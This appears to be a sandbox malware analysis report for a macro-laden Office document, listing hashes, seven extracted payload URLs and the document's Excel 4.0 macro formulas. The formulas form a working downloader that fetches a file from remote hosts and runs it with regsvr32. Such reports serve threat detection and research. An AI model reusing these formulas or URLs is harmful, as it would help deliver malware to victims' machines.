General
-
Target
2866fdafac6e88f90c74a2e34484836d472ce01fd0224ceebf8dee549970d08e
-
Size
35KB
-
MD5
9ecf87dfd0cc93d50840268add80e8fb
-
SHA1
cc4023c9a179054c50cc4caebc0148810aa0768e
-
SHA256
2866fdafac6e88f90c74a2e34484836d472ce01fd0224ceebf8dee549970d08e
-
SHA512
104d87b73e0cdc49244a7e1048b84213b92d18536536f1e437a9ceb0d9c90fc60977cef32a3d627c7f9311b0121971e85c0b046be9f5335bd07ba4d7ebf240d9
-
SSDEEP
768:Rsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:RFtndguUOZZ1ZYpoQ/pMA6Kt
Malware Config
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/
https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/
https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/
https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
2866fdafac6e88f90c74a2e34484836d472ce01fd0224ceebf8dee549970d08e